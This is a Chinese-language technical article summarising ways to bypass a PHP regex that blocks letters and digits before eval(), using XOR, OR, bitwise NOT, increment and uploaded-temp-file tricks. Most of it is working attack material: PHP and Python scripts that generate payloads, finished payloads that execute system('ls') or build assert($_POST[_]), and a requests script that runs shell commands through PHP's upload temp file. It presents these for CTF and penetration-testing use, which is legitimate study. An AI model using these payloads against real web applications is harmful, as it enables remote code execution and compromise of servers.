无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)
字数 757 2025-08-05 19:10:07
无字母数字绕过正则表达式技术总结
前言
本文详细总结了在PHP环境下绕过字母数字限制执行代码的各种技术方法,包括异或、或、取反、自增和上传临时文件等技术。这些技术在CTF比赛和实际渗透测试中都有广泛应用。
基本场景
假设我们有以下PHP代码限制:
<?php
error_reporting(0);
highlight_file(__FILE__);
$code=$_GET['code'];
if(preg_match('/[a-z0-9]/i',$code)){
die('hacker');
}
eval($code);
目标是在不包含任何字母和数字的情况下执行任意代码,例如system('ls')。
一、异或绕过
原理
利用PHP中两个非字母数字字符异或运算可以生成所需字符的特性。
实现步骤
- 生成异或字符表:
<?php
$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
} else {
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
} else {
$hex_j=dechex($j);
}
$preg = '/[a-z0-9]/i';
if(!preg_match($preg , hex2bin($hex_i)) && !preg_match($preg , hex2bin($hex_j))){
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32 && ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
- 使用Python脚本生成payload:
import urllib
def action(arg):
s1=""
s2=""
for i in arg:
f=open("xor_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")"
return(output)
param=action("system")+action("ls")+";"
print(param)
示例结果
("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b");
二、或绕过
原理
与异或类似,使用或运算生成所需字符。
实现步骤
- 生成或字符表:
<?php
$myfile = fopen("or_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
} else {
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
} else {
$hex_j=dechex($j);
}
$preg = '/[0-9a-z]/i';
if(!preg_match($preg , hex2bin($hex_i)) && !preg_match($preg , hex2bin($hex_j))){
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32 && ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
- 使用Python脚本生成payload(与异或脚本类似,只需修改运算符)
示例结果
("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13"|"%60%60");
三、取反绕过
原理
利用PHP中取反操作生成所需字符,通常使用不可见字符绕过正则。
实现步骤
<?php
// 在命令行中运行
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
示例结果
(~%8C%86%8C%8B%9A%92)(~%93%8C);
四、自增绕过
原理
利用PHP中数组转换为字符串的特性以及自增操作生成字符。
实现代码
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=
$$
____;$___($_[_]);
使用方式
构造出的payload为assert($_POST[_]),然后POST传入_=phpinfo();
五、上传临时文件绕过
原理
利用PHP上传文件时生成的临时文件执行命令。
实现代码
import requests
url="http://xxx/test.php?code=?><?=`. /???/????????[@-[]`;?>"
files={'file':'cat f*'}
response=requests.post(url,files=files)
html = response.text
print(html)
其他技巧
使用${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=phpinfo构造_GET变量,适用于过滤引号的情况。
总结
- 异或和或方法需要根据题目具体的过滤规则调整正则表达式
- 取反方法通常最简洁有效
- 自增方法在PHP 7.0.12以上版本可能不可用
- 上传临时文件方法适用于有文件上传功能的情况
- 各种方法可以组合使用以绕过更复杂的过滤规则
以上技术在实际应用中需要根据具体环境进行调整和组合,以达到最佳绕过效果。